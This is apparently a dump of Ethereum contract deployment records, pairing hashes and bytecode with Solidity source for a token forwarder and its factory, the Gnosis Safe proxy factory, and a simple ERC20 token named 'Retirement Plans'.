function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,371 |
caf3fbd4b4caff6ca67c6d506ced8b26943024264b666a431d7275f872520b36
|
822ea2c72cb1e2e8fdff785611cbd8c69dc23df562f1778ac1a9d58c94ae15aa
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
e270989350bfc80f52a6122cc33764bd3cace040
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,371 |
caf3fbd4b4caff6ca67c6d506ced8b26943024264b666a431d7275f872520b36
|
7887dc749ee22d561fd884a8181be3fad3a462a138fc17a8092f561909041fcc
|
65e0bfd1779ae580671ee20b247458f16838938a
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
ec9e05fc572069a246bdad97a0597e8a7df9962f
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,373 |
b3bbfc6fe5a980703cc366d9bf319130b37ac785c42267c2ebcd6d19e6e6dfe6
|
79f092ede120b53da6ddbc9c1ce10464c395fdd51bc7ec6b124e578c6f44effb
|
c6cdca017e6c9c8d594f9b9103917cf6af7d0e34
|
c6cdca017e6c9c8d594f9b9103917cf6af7d0e34
|
2a0bcbe87f979dae24d480e73ee0c3b688d89b1e
|
60806040526e115557b419c5c1f3fa0184000000006002556040518060400160405280601081526020017f5265746972656d656e7420506c616e7300000000000000000000000000000000815250600390805190602001906200006492919062000111565b506040518060400160405280600481526020017f3430316b0000000000000000000000000000000000000000000000000000000081525060049080519060200190620000b292919062000111565b506012600555348015620000c557600080fd5b506002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000226565b8280546200011f90620001c1565b90600052602060002090601f0160209004810192826200014357600085556200018f565b82601f106200015e57805160ff19168380011785556200018f565b828001600101855582156200018f579182015b828111156200018e57825182559160200191906001019062000171565b5b5090506200019e9190620001a2565b5090565b5b80821115620001bd576000816000905550600101620001a3565b5090565b60006002820490506001821680620001da57607f821691505b60208210811415620001f157620001f0620001f7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b610d2d80620002366000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c8063313ce56711610066578063313ce5671461016f57806370a082311461018d57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b5761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f57806327e235e31461013f575b600080fd5b6100ab61023b565b6040516100b89190610a38565b60405180910390f35b6100db60048036038101906100d69190610944565b6102c9565b6040516100e89190610a1d565b60405180910390f35b6100f96103bb565b6040516101069190610a9a565b60405180910390f35b610129600480360381019061012491906108f5565b6103c1565b6040516101369190610a1d565b60405180910390f35b61015960048036038101906101549190610890565b6105e7565b6040516101669190610a9a565b60405180910390f35b6101776105ff565b6040516101849190610a9a565b60405180910390f35b6101a760048036038101906101a29190610890565b610605565b6040516101b49190610a9a565b60405180910390f35b6101c561064d565b6040516101d29190610a38565b60405180910390f35b6101f560048036038101906101f09190610944565b6106db565b6040516102029190610a1d565b60405180910390f35b610225600480360381019061022091906108b9565b610841565b6040516102329190610a9a565b60405180910390f35b6003805461024890610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610bd6565b80156102c15780601f10610296576101008083540402835291602001916102c1565b820191906000526020600020905b8154815290600101906020018083116102a457829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103a99190610a9a565b60405180910390a36001905092915050565b60025481565b6000816103cd85610605565b101561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040590610a5a565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490610a7a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461051b9190610ad1565b92505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105709190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105d49190610a9a565b60405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60055481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6004805461065a90610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461068690610bd6565b80156106d35780601f106106a8576101008083540402835291602001916106d3565b820191906000526020600020905b8154815290600101906020018083116106b657829003601f168201915b505050505081565b6000816106e733610605565b1015610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90610a5a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190610ad1565b92505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cb9190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f9190610a9a565b60405180910390a36001905092915050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60008135905061087581610cc9565b92915050565b60008135905061088a81610ce0565b92915050565b6000602082840312156108a257600080fd5b60006108b084828501610866565b91505092915050565b600080604083850312156108cc57600080fd5b60006108da85828601610866565b92505060206108eb85828601610866565b9150509250929050565b60008060006060848603121561090a57600080fd5b600061091886828701610866565b935050602061092986828701610866565b925050604061093a8682870161087b565b9150509250925092565b6000806040838503121561095757600080fd5b600061096585828601610866565b92505060206109768582860161087b565b9150509250929050565b61098981610b6d565b82525050565b600061099a82610ab5565b6109a48185610ac0565b93506109b4818560208601610ba3565b6109bd81610c66565b840191505092915050565b60006109d5600f83610ac0565b91506109e082610c77565b602082019050919050565b60006109f8601183610ac0565b9150610a0382610ca0565b602082019050919050565b610a1781610b99565b82525050565b6000602082019050610a326000830184610980565b92915050565b60006020820190508181036000830152610a52818461098f565b905092915050565b60006020820190508181036000830152610a73816109c8565b9050919050565b60006020820190508181036000830152610a93816109eb565b9050919050565b6000602082019050610aaf6000830184610a0e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610adc82610b99565b9150610ae783610b99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610b1c57610b1b610c08565b5b828201905092915050565b6000610b3282610b99565b9150610b3d83610b99565b925082821015610b5057610b4f610c08565b5b828203905092915050565b6000610b6682610b79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610bc1578082015181840152602081019050610ba6565b83811115610bd0576000848401525b50505050565b60006002820490506001821680610bee57607f821691505b60208210811415610c0257610c01610c37565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f62616c616e636520746f6f206c6f770000000000000000000000000000000000600082015250565b7f616c6c6f77616e636520746f6f206c6f77000000000000000000000000000000600082015250565b610cd281610b5b565b8114610cdd57600080fd5b50565b610ce981610b99565b8114610cf457600080fd5b5056fea264697066735822122096adb9d99ff56ce19e57b8cff10ef99db0634f28fd18ab44e0f12050d8bd5a4364736f6c63430008020033
|
608060405234801561001057600080fd5b506004361061009e5760003560e01c8063313ce56711610066578063313ce5671461016f57806370a082311461018d57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b5761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f57806327e235e31461013f575b600080fd5b6100ab61023b565b6040516100b89190610a38565b60405180910390f35b6100db60048036038101906100d69190610944565b6102c9565b6040516100e89190610a1d565b60405180910390f35b6100f96103bb565b6040516101069190610a9a565b60405180910390f35b610129600480360381019061012491906108f5565b6103c1565b6040516101369190610a1d565b60405180910390f35b61015960048036038101906101549190610890565b6105e7565b6040516101669190610a9a565b60405180910390f35b6101776105ff565b6040516101849190610a9a565b60405180910390f35b6101a760048036038101906101a29190610890565b610605565b6040516101b49190610a9a565b60405180910390f35b6101c561064d565b6040516101d29190610a38565b60405180910390f35b6101f560048036038101906101f09190610944565b6106db565b6040516102029190610a1d565b60405180910390f35b610225600480360381019061022091906108b9565b610841565b6040516102329190610a9a565b60405180910390f35b6003805461024890610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610bd6565b80156102c15780601f10610296576101008083540402835291602001916102c1565b820191906000526020600020905b8154815290600101906020018083116102a457829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103a99190610a9a565b60405180910390a36001905092915050565b60025481565b6000816103cd85610605565b101561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040590610a5a565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490610a7a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461051b9190610ad1565b92505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105709190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105d49190610a9a565b60405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60055481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6004805461065a90610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461068690610bd6565b80156106d35780601f106106a8576101008083540402835291602001916106d3565b820191906000526020600020905b8154815290600101906020018083116106b657829003601f168201915b505050505081565b6000816106e733610605565b1015610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90610a5a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190610ad1565b92505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cb9190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f9190610a9a565b60405180910390a36001905092915050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60008135905061087581610cc9565b92915050565b60008135905061088a81610ce0565b92915050565b6000602082840312156108a257600080fd5b60006108b084828501610866565b91505092915050565b600080604083850312156108cc57600080fd5b60006108da85828601610866565b92505060206108eb85828601610866565b9150509250929050565b60008060006060848603121561090a57600080fd5b600061091886828701610866565b935050602061092986828701610866565b925050604061093a8682870161087b565b9150509250925092565b6000806040838503121561095757600080fd5b600061096585828601610866565b92505060206109768582860161087b565b9150509250929050565b61098981610b6d565b82525050565b600061099a82610ab5565b6109a48185610ac0565b93506109b4818560208601610ba3565b6109bd81610c66565b840191505092915050565b60006109d5600f83610ac0565b91506109e082610c77565b602082019050919050565b60006109f8601183610ac0565b9150610a0382610ca0565b602082019050919050565b610a1781610b99565b82525050565b6000602082019050610a326000830184610980565b92915050565b60006020820190508181036000830152610a52818461098f565b905092915050565b60006020820190508181036000830152610a73816109c8565b9050919050565b60006020820190508181036000830152610a93816109eb565b9050919050565b6000602082019050610aaf6000830184610a0e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610adc82610b99565b9150610ae783610b99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610b1c57610b1b610c08565b5b828201905092915050565b6000610b3282610b99565b9150610b3d83610b99565b925082821015610b5057610b4f610c08565b5b828203905092915050565b6000610b6682610b79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610bc1578082015181840152602081019050610ba6565b83811115610bd0576000848401525b50505050565b60006002820490506001821680610bee57607f821691505b60208210811415610c0257610c01610c37565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f62616c616e636520746f6f206c6f770000000000000000000000000000000000600082015250565b7f616c6c6f77616e636520746f6f206c6f77000000000000000000000000000000600082015250565b610cd281610b5b565b8114610cdd57600080fd5b50565b610ce981610b99565b8114610cf457600080fd5b5056fea264697066735822122096adb9d99ff56ce19e57b8cff10ef99db0634f28fd18ab44e0f12050d8bd5a4364736f6c63430008020033
|
pragma solidity ^0.8.2;
contract Token {
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 90000000000000000 * 10 ** 18;
string public name = "Retirement Plans";
string public symbol = "401k";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() {
balances[msg.sender] = totalSupply;
}
function balanceOf(address owner) public returns(uint) {
return balances[owner];
}
function transfer(address to, uint value) public returns(bool) {
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns(bool) {
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
}
|
1 | 19,497,373 |
b3bbfc6fe5a980703cc366d9bf319130b37ac785c42267c2ebcd6d19e6e6dfe6
|
bfd6ce45d649f28553e08bb0bdbc858535ddfdc0e6ba3e17e69a035f7861ff28
|
50086a07bd516a934665ce57fa15f6c73b64d9f4
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
3190318d3e2d58dca1f68d9f10af1dac1e6e2010
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
